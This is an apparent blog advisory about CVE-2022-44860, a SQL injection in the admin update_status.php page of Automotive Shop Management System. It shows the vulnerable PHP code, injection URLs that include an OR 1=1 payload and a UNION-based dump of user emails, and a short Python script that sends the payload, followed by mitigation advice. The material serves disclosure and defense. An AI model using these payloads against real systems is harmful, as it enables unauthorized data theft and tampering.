If you run or manage an automotive shop using the Automotive Shop Management System v1., you need to pay close attention to a serious security vulnerability: CVE-2022-44860. This issue is tied to a SQL Injection flaw found in the software, letting attackers manipulate your database—steal data, modify customer info, or even take over your system.

In this write-up, we'll break down what the vulnerability is, where it lives in the code, how an attacker might exploit it, and what you can do about it. This article is tailored for IT admins, security researchers, and anyone managing such a system.

🚨 What Is CVE-2022-44860?

*CVE-2022-44860* is a vulnerability in Automotive Shop Management System v1.. It was discovered publicly in November 2022 and allows SQL Injection via the id parameter in the file /admin/transactions/update_status.php. Anyone with access to the admin area or able to trick an admin into clicking a crafted link could exploit this flaw.

Official Reference

- NVD - CVE-2022-44860
- Exploit DB #51153

🔍 Where Is the Flaw?

The vulnerability is located in the update_status.php script. Typically, this script is meant for admins to update the status of a transaction. The id parameter is taken directly from the GET request and used in an SQL query without *any* sanitization.

Example Vulnerable Code

// This is a simple example from update_status.php

$id = $_GET['id']; // No sanitization or validation
$status = $_POST['status'];

$query = "UPDATE transactions SET status='$status' WHERE id='$id'";
mysqli_query($conn, $query);

The variable $id is directly inserted into the SQL query, allowing anyone to inject malicious SQL code.

💥 How Can Attackers Exploit This?

Anyone with web access can manipulate the id parameter to run arbitrary SQL commands. For example, an attacker could craft a URL like this:

http://yourshopdomain.com/admin/transactions/update_status.php?id=1%27%20OR%201=1--&status=completed

This would result in the following SQL being executed

UPDATE transactions SET status='completed' WHERE id='1' OR 1=1--'

Because 1=1 is always true, the status for *all* transactions could be set to "completed", or with further tweaks, data could be dumped or altered.

Extracting Database Information

By manipulating the id parameter even further, attackers could extract information using SQL UNION or sleep-based blind injections.

Example: Dumping the first user’s email (if output is shown on the page)

/admin/transactions/update_status.php?id=1 UNION SELECT 1,email,3 FROM users-- -

Here's a simple Python script that demonstrates how you can test the vulnerable parameter

import requests

url = "http://targetsite/admin/transactions/update_status.php";
payload = "1' OR '1'='1"
data = {"status": "hacked"}

params = {"id": payload}
response = requests.post(url, params=params, data=data)

print("Status Code:", response.status_code)
print("Response Length:", len(response.text))
if "error" not in response.text.lower():
    print("Potentially vulnerable to SQL injection!")

Warning: Never use this on systems you don't own or don't have permission to test.

Sanitize Inputs: Always validate and sanitize user input using prepared statements.

Update Software: Check for updates or patches from your vendor.

3. Restrict Admin Access: Make sure that only trusted users can access the /admin directory.

🔗 References

- CVE-2022-44860 (NVD)
- Exploit DB #51153
- OWASP SQL Injection Cheat Sheet

✍️ Final Thoughts

CVE-2022-44860 is a classic example of how failing to sanitize user inputs—even in places you think only admins use—can lead to disaster. If you maintain or use the Automotive Shop Management System, review your code and apply best practices in user input handling before attackers find you.

Timeline

Published on: 11/25/2022 18:15:00 UTC
Last modified on: 11/28/2022 19:46:00 UTC